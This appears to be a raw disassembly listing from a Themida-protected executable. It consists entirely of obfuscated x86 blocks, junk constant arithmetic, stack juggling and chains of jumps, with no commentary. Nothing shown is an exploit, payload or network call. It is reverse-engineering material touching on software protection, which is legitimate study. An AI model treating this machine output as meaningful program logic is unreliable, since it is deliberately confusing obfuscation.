loc_5A180D:				; CODE XREF: Themida_:0059F782j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		sub	dword ptr [esp], 55CD2E16h
		mov	edi, [esp]
		push	0D67h
		mov	[esp], ebx
		jmp	loc_5A7D3D
; ---------------------------------------------------------------------------


loc_5A182D:				; CODE XREF: Themida_:005AF32Aj
		mov	[esp], ebx
		jmp	loc_5A2242
; ---------------------------------------------------------------------------


loc_5A1835:				; CODE XREF: Themida_:005AEFE8j
		add	edx, 59AE39A4h
		push	ecx
		mov	ecx, 72726F1h
		add	edx, 17810C2Fh
		add	edx, ecx
		jmp	loc_59983F
; ---------------------------------------------------------------------------


loc_5A184E:				; CODE XREF: Themida_:0059A795j
		add	bl, 0B4h
		add	bl, 3Ch
		movzx	eax, al
		jmp	loc_5AF4EB
; ---------------------------------------------------------------------------


loc_5A185C:				; CODE XREF: Themida_:005ADCFBj
		add	bl, ah
		add	bl, 0CDh
		mov	eax, [esp]
		add	esp, 4
		sub	bl, 0C3h
		add	bl, al
		add	bl, 0C3h
		push	ecx
		mov	ch, 0BBh
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 51h
		xor	ch, bl
		pop	bx
		sub	bl, ch
		pop	ecx
		jmp	loc_59EC8E
; ---------------------------------------------------------------------------


loc_5A1887:				; CODE XREF: Themida_:005A7EE2j
		pop	ebp
		sub	eax, esi
		jmp	loc_5A2E00
; ---------------------------------------------------------------------------


loc_5A188F:				; CODE XREF: Themida_:0059AC97j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		mov	eax, 13276E40h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59F7AD
; ---------------------------------------------------------------------------


loc_5A18AD:				; CODE XREF: Themida_:005A2495j
		jnb	loc_5987E6
		shr	eax, 4
		js	loc_5A9C90
		jmp	loc_5A61E6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4B31h
		mov	[esp], ebp
		push	2930h
		mov	[esp], esp
		push	ecx
		jmp	loc_5ABB95
; ---------------------------------------------------------------------------


loc_5A18DB:				; CODE XREF: Themida_:0059FC63j
		mov	ebx, 26F67167h
		xchg	ebp, ebx
		not	ebp
		push	ebx
		jmp	loc_59EA97
; ---------------------------------------------------------------------------


loc_5A18EA:				; CODE XREF: Themida_:0059CE1Dj
		push	12C1h
		jmp	loc_5AE435
; ---------------------------------------------------------------------------


loc_5A18F4:				; CODE XREF: Themida_:005A7237j
		pop	edx
		xor	eax, [esp]
		jmp	loc_5995BE
; ---------------------------------------------------------------------------


loc_5A18FD:				; CODE XREF: Themida_:005A8B75j
		mov	edx, 35964022h
		mov	ebx, 0AEA89E8Eh
		push	ecx
		jmp	loc_599AC0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2DFBh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5A70D2
; ---------------------------------------------------------------------------


loc_5A1926:				; CODE XREF: Themida_:005ABE01j
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 7B612859h
		or	ebp, 5D1C5144h
		jmp	loc_59B7FB
; ---------------------------------------------------------------------------


loc_5A193A:				; CODE XREF: Themida_:005A582Bj
					; Themida_:005A78D6j
		add	edi, eax
		pop	eax
		push	140Ch
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_59F91C
; ---------------------------------------------------------------------------


loc_5A194F:				; CODE XREF: Themida_:005A2796j
		jno	loc_5AA410
		sub	esi, 58FCF9A3h
		jmp	loc_5A13D2
; ---------------------------------------------------------------------------
		mov	cl, dh


loc_5A1962:				; CODE XREF: Themida_:005A8427j
		mov	edx, [esp]
		push	edi
		jmp	loc_5A4ABC
; ---------------------------------------------------------------------------


loc_5A196B:				; CODE XREF: Themida_:00599B4Dj
		jmp	loc_5A42C6
; ---------------------------------------------------------------------------


loc_5A1970:				; CODE XREF: Themida_:005AE4A0j
		xor	al, bl
		pop	ebx
		push	ecx
		push	edx
		mov	dl, 7Ah
		shr	dl, 8
		inc	dl
		jns	loc_59A420
		jmp	loc_5AB400
; ---------------------------------------------------------------------------
		sub	ebp, edi
		jmp	loc_59921B
; ---------------------------------------------------------------------------


loc_5A198E:				; CODE XREF: Themida_:005AD4D6j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5AC926
; ---------------------------------------------------------------------------


loc_5A1999:				; CODE XREF: Themida_:005A5B9Dj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5ACEC2
; ---------------------------------------------------------------------------


loc_5A19A9:				; CODE XREF: Themida_:0059D9AFj
		sub	eax, 53B600DAh
		sub	eax, 2DFE7264h
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59ED3C
; ---------------------------------------------------------------------------


loc_5A19CF:				; CODE XREF: Themida_:0059DC67j
		sub	eax, 7DA52320h
		push	esi
		push	2D45h
		mov	[esp], ebx
		mov	ebx, 435F470Ch
		jmp	loc_5A7A61
; ---------------------------------------------------------------------------


loc_5A19E7:				; CODE XREF: Themida_:005ABEFAj
		pop	edi
		mov	esi, ebp
		jmp	loc_59CDE4
; ---------------------------------------------------------------------------


loc_5A19EF:				; CODE XREF: Themida_:0059C36Fj
		xor	[esp], eax
		jmp	loc_59862D
; ---------------------------------------------------------------------------


loc_5A19F7:				; CODE XREF: Themida_:00599BD0j
		or	eax, 20C55DD3h
		neg	eax
		sub	eax, 0D2358B02h
		add	ebx, eax
		pop	eax
		push	469Fh
		jmp	loc_5985BA
; ---------------------------------------------------------------------------


loc_5A1A10:				; CODE XREF: Themida_:005A4744j
		mov	ch, 0A2h
		jmp	loc_59FACC
; ---------------------------------------------------------------------------


loc_5A1A17:				; CODE XREF: Themida_:0059F53Cj
		shl	edi, 6
		xor	edi, 1C4E2EBDh
		push	ecx
		jmp	loc_599512
; ---------------------------------------------------------------------------


loc_5A1A26:				; CODE XREF: Themida_:loc_5A74E0j
					; Themida_:005A7A9Ej
		pop	ecx
		shr	ebx, 5
		sub	ebx, 9EF26AB8h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 854E49B8h
		xor	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5A85C1
; ---------------------------------------------------------------------------


loc_5A1A48:				; CODE XREF: Themida_:005A4DBBj
		add	ebp, 4
		push	edi
		mov	edi, 6DA8263Ch
		add	edi, 3472291h
		xor	edi, 29A94D6Ch
		xor	edi, 594605A5h
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_59C017
; ---------------------------------------------------------------------------


loc_5A1A82:				; CODE XREF: Themida_:005A039Ej
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_59CE12
		push	3680h
		jmp	loc_5A8F52
; ---------------------------------------------------------------------------


loc_5A1A97:				; CODE XREF: Themida_:005A6838j
		add	al, cl
		add	al, 3Fh
		sub	al, 0D1h
		push	ebx
		push	eax
		mov	al, 0A3h
		inc	al
		jmp	loc_5A3CEC
; ---------------------------------------------------------------------------


loc_5A1AA8:				; CODE XREF: Themida_:005A8AB4j
		pop	edi
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 26FF670Fh
		pop	eax
		push	eax
		mov	eax, 2
		jmp	loc_5AC0B6
; ---------------------------------------------------------------------------


loc_5A1AC6:				; CODE XREF: Themida_:005AE7B5j
		push	ebx
		push	eax
		push	ebx
		mov	bh, 96h
		push	2BD3h
		mov	[esp], eax
		mov	al, 65h
		sub	bh, al
		pop	eax
		push	small 576Ch
		mov	[esp], cx
		jmp	loc_5A64D4
; ---------------------------------------------------------------------------


loc_5A1AE5:				; CODE XREF: Themida_:005AEBF3j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		jmp	loc_5A3D27
; ---------------------------------------------------------------------------


loc_5A1AF9:				; CODE XREF: Themida_:0059C93Aj
		dec	ecx
		jl	loc_5A711F
		shr	ecx, 7
		jmp	loc_5A4E94
; ---------------------------------------------------------------------------


loc_5A1B08:				; CODE XREF: Themida_:005A035Aj
		mov	eax, 4
		sub	edi, eax
		pop	eax
		jmp	loc_59CF22
; ---------------------------------------------------------------------------


loc_5A1B15:				; CODE XREF: Themida_:0059A111j
					; Themida_:005A7A7Fj
		add	edi, ecx
		push	ebx
		mov	ebx, 2CDC4894h
		jmp	loc_5AEDA9
; ---------------------------------------------------------------------------


loc_5A1B22:				; CODE XREF: Themida_:005AE052j
		mov	[esp], ebp
		mov	eax, [esp]
		push	7B28h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_5AA5ED
; ---------------------------------------------------------------------------


loc_5A1B3D:				; CODE XREF: Themida_:005AB1E1j
		mov	[esp], ebx
		jmp	loc_59B27E
; ---------------------------------------------------------------------------


loc_5A1B45:				; CODE XREF: Themida_:0059A1DDj
		sub	esp, 4
		jmp	loc_5998F5
; ---------------------------------------------------------------------------


loc_5A1B4D:				; CODE XREF: Themida_:005AD7A9j
		shr	esi, 6
		or	esi, 60EA5893h
		jl	loc_59EC9C
		jmp	loc_59ED48
; ---------------------------------------------------------------------------


loc_5A1B61:				; CODE XREF: Themida_:005A2AA0j
		push	esi
		mov	esi, 52D131Eh
		or	edx, esi
		pop	esi
		not	edx
		add	edx, 0CD06886Eh
		add	ebx, 0EBB5082h
		sub	ebx, edx
		jmp	loc_5A62C7
; ---------------------------------------------------------------------------


loc_5A1B7F:				; CODE XREF: Themida_:0059E96Dj
		and	edi, 220213AFh
		jmp	loc_5A179E
; ---------------------------------------------------------------------------


loc_5A1B8A:				; CODE XREF: Themida_:005AC69Dj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_599383
; ---------------------------------------------------------------------------


loc_5A1B94:				; CODE XREF: Themida_:005A7AFEj
		or	esi, 5F077D13h
		add	esi, 0B2223B4h
		sub	esi, 68017141h
		or	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5AEA08
; ---------------------------------------------------------------------------


loc_5A1BAF:				; CODE XREF: Themida_:005A5290j
		mov	[esp], ebx
		mov	ebx, 2D9F6963h
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [edi+40h]
		sub	esp, 4
		jmp	loc_5AA163
; ---------------------------------------------------------------------------


loc_5A1BD2:				; CODE XREF: Themida_:005A0EFFj
		mov	esi, [esp]
		jmp	loc_5A322A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A1BEA:				; CODE XREF: Themida_:005A5582j
					; Themida_:005AA770j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59E585
; ---------------------------------------------------------------------------


loc_5A1BFA:				; CODE XREF: Themida_:005A657Fj
		mov	ecx, 21CD3403h
		or	ecx, 61CE530Eh
		push	esi
		mov	esi, 75272BAFh
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 624C51A2h
		shr	edx, 2
		sub	edx, 5D7B15BFh
		add	edx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 151E61AEh
		add	ebp, 8FB06B9h
		jmp	loc_5AC1FD
; ---------------------------------------------------------------------------


loc_5A1C34:				; CODE XREF: Themida_:005A0077j
		shl	eax, 7
		neg	eax
		jmp	loc_59EF6C
; ---------------------------------------------------------------------------


loc_5A1C3E:				; CODE XREF: Themida_:005AB60Fj
		pop	ax
		sub	bh, 0FFh
		neg	bh
		push	1A79h
		mov	[esp], edx
		mov	dl, 8Eh
		sub	dl, 0F3h
		jmp	loc_5A41B3
; ---------------------------------------------------------------------------


loc_5A1C57:				; CODE XREF: Themida_:0059B610j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_5A121E
; ---------------------------------------------------------------------------


loc_5A1C78:				; CODE XREF: Themida_:00598A9Bj
		shr	ebx, 6
		and	ebx, 354B4332h
		shl	ebx, 4
		sub	ebx, 3C3F742Eh
		sub	ebx, 3AD23368h
		add	esi, ebx
		jmp	loc_59D82A
; ---------------------------------------------------------------------------


loc_5A1C97:				; CODE XREF: Themida_:005A0698j
		push	7AA0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		push	4
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_5AB8E1
; ---------------------------------------------------------------------------


loc_5A1CB4:				; CODE XREF: Themida_:005A999Ej
		sub	edi, 9EE4F5Ah
		add	edi, 23AA0990h
		std
		jmp	loc_5A9F6A
; ---------------------------------------------------------------------------


loc_5A1CC6:				; CODE XREF: Themida_:005A75F8j
		push	ebp
		xor	dword ptr [esp], 6D945DA6h
		pop	edi
		xor	edi, 6D945DA6h
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59E4B6
; ---------------------------------------------------------------------------


loc_5A1CE1:				; CODE XREF: Themida_:0059EC9Fj
					; Themida_:005A3763j
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5ABD11
; ---------------------------------------------------------------------------


loc_5A1CF4:				; CODE XREF: Themida_:0059AF65j
		mov	esi, 4C542A9Dh
		sub	esi, 32806811h
		jmp	loc_5A2C83
; ---------------------------------------------------------------------------


loc_5A1D04:				; CODE XREF: Themida_:005AE1D0j
		sub	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_5A15E0
; ---------------------------------------------------------------------------


loc_5A1D19:				; CODE XREF: Themida_:0059B0E1j
		jmp	loc_5A2708
; ---------------------------------------------------------------------------


loc_5A1D1E:				; CODE XREF: Themida_:005A1FF0j
		sub	ecx, 812459A8h
		jmp	loc_59A9D0
; ---------------------------------------------------------------------------


loc_5A1D29:				; CODE XREF: Themida_:005AD813j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A1D2E:				; CODE XREF: Themida_:005A7FE3j
		not	ah
		dec	ah
		and	ah, 0C3h
		push	ecx
		mov	ch, 30h
		or	ch, 0FCh
		xor	ch, 0A1h
		neg	ch
		xor	ch, 0C9h
		shl	ch, 8
		sub	ch, 39h
		xor	ah, ch
		pop	ecx
		add	ch, ah
		pop	eax
		push	168Eh
		mov	[esp], edx
		mov	dl, 2Ch
		jmp	loc_59A116
; ---------------------------------------------------------------------------


loc_5A1D5E:				; CODE XREF: Themida_:005A40E2j
					; Themida_:005A856Aj
		push	esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		sub	esi, 49E333A4h
		xor	esi, 0D594326Dh
		xor	edx, esi
		jmp	loc_5AA08B
; ---------------------------------------------------------------------------


loc_5A1D78:				; CODE XREF: Themida_:005A507Fj
		pop	dword ptr [esp]
		jmp	loc_5A64E4
; ---------------------------------------------------------------------------


loc_5A1D80:				; CODE XREF: Themida_:005A9552j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_59951C
; ---------------------------------------------------------------------------


loc_5A1D8E:				; CODE XREF: Themida_:0059B38Fj
		shl	ah, 3
		shl	ah, 5
		js	loc_5A15B2
		or	ah, 51h
		jo	loc_5A953C
		push	ecx
		mov	cl, 0BBh
		xor	ah, cl
		pop	ecx
		jmp	loc_5ACD28
; ---------------------------------------------------------------------------


loc_5A1DAE:				; CODE XREF: Themida_:00599830j
		jb	loc_59FB8A
		push	65C0h
		mov	[esp], ecx
		mov	eax, edi
		pop	esp


loc_5A1DBF:				; CODE XREF: Themida_:005A415Fj
		mov	edi, 0
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ecx, 309772F3h
		jmp	loc_5AD9A8
; ---------------------------------------------------------------------------


loc_5A1DD8:				; CODE XREF: Themida_:005A8855j
		mov	dl, 0B7h
		add	dl, cl
		jmp	loc_59CF9A
; ---------------------------------------------------------------------------


loc_5A1DE1:				; CODE XREF: Themida_:0059C386j
		mov	edx, esp
		jmp	loc_5AB4F5
; ---------------------------------------------------------------------------


loc_5A1DE8:				; CODE XREF: Themida_:005A3F66j
		mov	bl, dl
		mov	[ecx], bl
		mov	ebx, [esp]
		push	ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_5A62C1
; ---------------------------------------------------------------------------


loc_5A1DF9:				; CODE XREF: Themida_:005A43C3j
		mov	esi, edx
		pop	edx
		jmp	loc_59A79A
; ---------------------------------------------------------------------------


loc_5A1E01:				; CODE XREF: Themida_:005A1401j
		pop	esp
		push	411h
		mov	[esp], edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	edx
		xor	eax, ecx
		push	dword ptr [esp]
		jmp	loc_59A459
; ---------------------------------------------------------------------------


loc_5A1E1F:				; CODE XREF: Themida_:005A6240j
		mov	eax, esp
		jmp	loc_5A5DCE
; ---------------------------------------------------------------------------


loc_5A1E26:				; CODE XREF: Themida_:0059CBBBj
					; Themida_:0059ED0Aj
		mov	edi, esi
		pop	esi
		jmp	loc_5AAC98
; ---------------------------------------------------------------------------


loc_5A1E2E:				; CODE XREF: Themida_:0059E1D3j
		add	edx, edi
		jmp	loc_599CF1
; ---------------------------------------------------------------------------


loc_5A1E35:				; CODE XREF: Themida_:005A006Cj
		xor	ebx, ecx
		jmp	loc_5AC77D
; ---------------------------------------------------------------------------


loc_5A1E3C:				; CODE XREF: Themida_:0059CFF3j
		div	cx
		push	small 316Ah
		jmp	loc_59BC3F
; ---------------------------------------------------------------------------


loc_5A1E48:				; CODE XREF: Themida_:0059BC3Aj
		push	ecx
		add	dword ptr [esp], 447F4562h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 447F4562h
		jmp	loc_5A696F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	1E28h
		jmp	loc_5A8599
; ---------------------------------------------------------------------------


loc_5A1E6F:				; CODE XREF: Themida_:005A56EDj
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 616B52D0h
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5AE84E
; ---------------------------------------------------------------------------


loc_5A1E97:				; CODE XREF: Themida_:0059A061j
		mov	ebp, ebx
		jmp	loc_5AB190
; ---------------------------------------------------------------------------


loc_5A1E9E:				; CODE XREF: Themida_:0059A056j
		push	edi
		push	eax
		mov	eax, 232C6035h
		or	eax, 5B333C5Eh
		add	eax, 4834593Ah
		jmp	loc_5A7FD1
; ---------------------------------------------------------------------------


loc_5A1EB4:				; CODE XREF: Themida_:00599658j
					; Themida_:005AA086j
		pop	eax
		add	eax, 4
		push	382Eh
		jmp	loc_5AC522
; ---------------------------------------------------------------------------


loc_5A1EC4:				; CODE XREF: Themida_:005ACE58j
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		push	777Fh
		mov	[esp], ebp
		push	4DE1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59D64F
; ---------------------------------------------------------------------------


loc_5A1EFF:				; CODE XREF: Themida_:0059BFC2j
		add	ebx, 504C0EB8h
		jnb	loc_5A56C6
		jmp	loc_5A73A5
; ---------------------------------------------------------------------------
		mov	esi, 4
		push	esi


loc_5A1F16:				; CODE XREF: Themida_:0059F5BFj
		mov	edx, 4
		push	24D5h
		mov	[esp], edx
		pop	edi
		pop	edx
		jmp	loc_5ACBE9
; ---------------------------------------------------------------------------


loc_5A1F2A:				; CODE XREF: Themida_:005AAA37j
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5ACC78
; ---------------------------------------------------------------------------


loc_5A1F3B:				; CODE XREF: Themida_:005AEA99j
		or	eax, 7CC95B89h
		or	eax, 280E65E8h
		jno	loc_5AAD94
		and	eax, 5A522592h
		jmp	loc_599DF0
; ---------------------------------------------------------------------------
		jmp	loc_5A9BF4
; ---------------------------------------------------------------------------


loc_5A1F5A:				; CODE XREF: Themida_:0059E179j
					; Themida_:0059F068j
		pop	esi
		inc	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 341100D7h
		xor	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_5AB820
; ---------------------------------------------------------------------------


loc_5A1F71:				; CODE XREF: Themida_:005A29CBj
		pop	edi
		sub	esp, 4
		jmp	loc_5AA382
; ---------------------------------------------------------------------------


loc_5A1F7A:				; CODE XREF: Themida_:005A0848j
		jns	loc_5A9A3F
		xor	edx, 3F1A2417h
		jmp	loc_5995D6
; ---------------------------------------------------------------------------
		pop	eax
		push	eax


loc_5A1F8D:				; CODE XREF: Themida_:005A2B95j
		jge	loc_59E74D
		sub	ebp, 64A45C2Dh
		jmp	loc_5AC7CF
; ---------------------------------------------------------------------------
		add	esp, 4


loc_5A1FA1:				; CODE XREF: Themida_:loc_5AD8EEj
		jmp	loc_5A3127
; ---------------------------------------------------------------------------


loc_5A1FA6:				; CODE XREF: Themida_:005AD7E2j
		sub	eax, esi
		jmp	loc_5A0925
; ---------------------------------------------------------------------------


loc_5A1FAD:				; CODE XREF: Themida_:0059F059j
					; Themida_:005AD1B0j
		mov	[esp], ecx
		mov	ecx, 78267282h
		shr	ecx, 7
		jmp	loc_5995F3
; ---------------------------------------------------------------------------


loc_5A1FBD:				; CODE XREF: Themida_:005AA1F4j
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, 33B60E76h
		jmp	loc_5A127F
; ---------------------------------------------------------------------------


loc_5A1FCD:				; CODE XREF: Themida_:005A9800j
		and	edi, 251EB6h
		jmp	loc_5AADAF
; ---------------------------------------------------------------------------


loc_5A1FD8:				; CODE XREF: Themida_:005A7CF4j
		xor	ecx, 0BB594447h
		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		jmp	loc_59EB8C
; ---------------------------------------------------------------------------


loc_5A1FE8:				; CODE XREF: Themida_:005AECB0j
		push	ecx
		mov	ecx, 25E97A6Fh
		not	ecx
		jmp	loc_5A1D1E
; ---------------------------------------------------------------------------


loc_5A1FF5:				; CODE XREF: Themida_:005999BAj
		pop	ebp
		pop	eax
		mov	ebx, 33774BF2h
		sub	ebx, 5D07287Eh
		jmp	loc_5A87A3
; ---------------------------------------------------------------------------


loc_5A2007:				; CODE XREF: Themida_:005AACC6j
		jmp	loc_59BE97
; ---------------------------------------------------------------------------


loc_5A200C:				; CODE XREF: Themida_:005A3749j
		mov	edi, edx
		jmp	loc_59A36B
; ---------------------------------------------------------------------------


loc_5A2013:				; CODE XREF: Themida_:005AEAA7j
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_5A5AAC
; ---------------------------------------------------------------------------


loc_5A201D:				; CODE XREF: Themida_:005ADCBAj
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_59A75E
; ---------------------------------------------------------------------------


loc_5A202A:				; CODE XREF: Themida_:005AE775j
		push	ecx
		jmp	loc_59C6A3
; ---------------------------------------------------------------------------


loc_5A2030:				; CODE XREF: Themida_:0059AF2Bj
		pop	eax
		sub	cl, 0Bh
		jmp	loc_59C46B
; ---------------------------------------------------------------------------


loc_5A2039:				; CODE XREF: Themida_:005A5876j
		shr	esi, 2
		add	esi, 533348BDh
		and	esi, 422D1144h
		xor	esi, 420C1000h
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		xor	eax, 6517D06h
		jb	loc_5AC859
		sub	esp, 4
		jmp	loc_59840F
; ---------------------------------------------------------------------------


loc_5A2068:				; CODE XREF: Themida_:005AF1B8j
		add	ebp, 97045F98h
		add	edi, 47B4EAEh
		add	edi, ebp
		sub	edi, 47B4EAEh
		jmp	loc_5AE5D7
; ---------------------------------------------------------------------------


loc_5A2081:				; CODE XREF: Themida_:005A6BC6j
		add	ecx, ebp
		pop	ebp
		add	ecx, 0B8508BFBh
		sub	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_598761
; ---------------------------------------------------------------------------


loc_5A20A4:				; CODE XREF: Themida_:005AEEE5j
		mov	ecx, 3C2279C0h
		sub	ecx, edx
		pop	edx
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		push	edi
		mov	edi, 5E4A7F0Bh
		add	edi, 2ECC7C87h
		neg	edi
		jmp	loc_5AEBBF
; ---------------------------------------------------------------------------


loc_5A20E2:				; CODE XREF: Themida_:0059E081j
		add	dword ptr [esp], 4
		jmp	loc_59BD9F
; ---------------------------------------------------------------------------


loc_5A20EB:				; CODE XREF: Themida_:005A82D9j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B7DC
; ---------------------------------------------------------------------------


loc_5A20FA:				; CODE XREF: Themida_:0059CE50j
		mov	[esp], eax
		push	ebx
		mov	ebx, 6E4B455Ah
		jmp	loc_5A3E07
; ---------------------------------------------------------------------------


loc_5A2108:				; CODE XREF: Themida_:005A4924j
		mov	[esp], ebp
		jmp	loc_59FC3C
; ---------------------------------------------------------------------------


loc_5A2110:				; CODE XREF: Themida_:005ABB04j
		add	esp, 4
		add	ebp, 4
		jmp	loc_5A3D77
; ---------------------------------------------------------------------------


loc_5A211E:				; CODE XREF: Themida_:005AB6E9j
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_59AC71
; ---------------------------------------------------------------------------


loc_5A2129:				; CODE XREF: Themida_:0059A759j
		dec	eax
		push	esi
		mov	esi, 2ECA1E7Ch
		add	esi, 2FAF1178h
		push	edi
		mov	edi, 66654BFDh
		add	edi, 72828A58h
		add	esi, edi
		pop	edi
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_5A7582
; ---------------------------------------------------------------------------


loc_5A215C:				; CODE XREF: Themida_:005AE52Aj
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2178:				; CODE XREF: Themida_:005AEEDAj
		push	ebp
		jmp	loc_59C4AD
; ---------------------------------------------------------------------------


loc_5A217E:				; CODE XREF: Themida_:0059F3F1j
		pop	ecx
		jmp	loc_5AC380
; ---------------------------------------------------------------------------


loc_5A2184:				; CODE XREF: Themida_:005A394Bj
		mov	esp, [esp]
		jmp	loc_5A59B7
; ---------------------------------------------------------------------------


loc_5A218C:				; CODE XREF: Themida_:005A7B5Ej
		neg	ebp
		jz	loc_5A462F
		sub	ebp, 5EF894E5h
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_5AD5FF
; ---------------------------------------------------------------------------


loc_5A21A4:				; CODE XREF: Themida_:005AA243j
		push	esi
		push	ebx
		mov	ebx, 45E401C8h
		jmp	loc_59AB0D
; ---------------------------------------------------------------------------


loc_5A21B0:				; CODE XREF: Themida_:005AA79Dj
		add	esp, 4
		push	ecx
		mov	ecx, 21587F26h
		add	edi, 0F8211F5h
		sub	edi, ecx
		sub	edi, 0F8211F5h
		jmp	loc_5A6C96
; ---------------------------------------------------------------------------


loc_5A21CF:				; CODE XREF: Themida_:005A2A60j
					; Themida_:005AD8C9j
		dec	esi
		shr	esi, 1
		js	loc_5A04A9
		push	ecx
		mov	ecx, 608C2772h
		shr	ecx, 4
		add	ecx, 78650FA3h
		inc	ecx
		or	ecx, 165F6E9Dh
		xor	ecx, 0BE812A54h
		add	esi, ecx
		pop	ecx
		push	6DE8h
		mov	[esp], esi
		jmp	loc_5A5DA3
; ---------------------------------------------------------------------------


loc_5A2204:				; CODE XREF: Themida_:005A60E6j
		jz	loc_59E39F
		neg	ebp
		inc	ebp
		jz	loc_5AAC1B
		push	edx
		jmp	loc_5A9443
; ---------------------------------------------------------------------------


loc_5A2219:				; CODE XREF: Themida_:0059D975j
		mov	ebp, [esp]
		jmp	loc_5A8EC4
; ---------------------------------------------------------------------------


loc_5A2221:				; CODE XREF: Themida_:00598D9Aj
		push	edi
		push	edx
		mov	edx, 1C016A54h
		mov	edi, 7B98AEAFh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 62001644h
		add	edx, edi
		jmp	loc_5AB55D
; ---------------------------------------------------------------------------


loc_5A2242:				; CODE XREF: Themida_:005A1830j
		push	esp
		pop	ebx
		push	esi
		push	ebx
		push	eax
		jmp	loc_5AF41B
; ---------------------------------------------------------------------------


loc_5A224C:				; CODE XREF: Themida_:005AE333j
		sub	eax, ecx
		pop	ecx
		push	ecx
		jmp	loc_5A9FF1
; ---------------------------------------------------------------------------


loc_5A2255:				; CODE XREF: Themida_:005A0BDBj
		neg	edi
		jns	loc_59EF18
		jmp	loc_5A2D11
; ---------------------------------------------------------------------------


loc_5A2262:				; CODE XREF: Themida_:0059C869j
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A9884
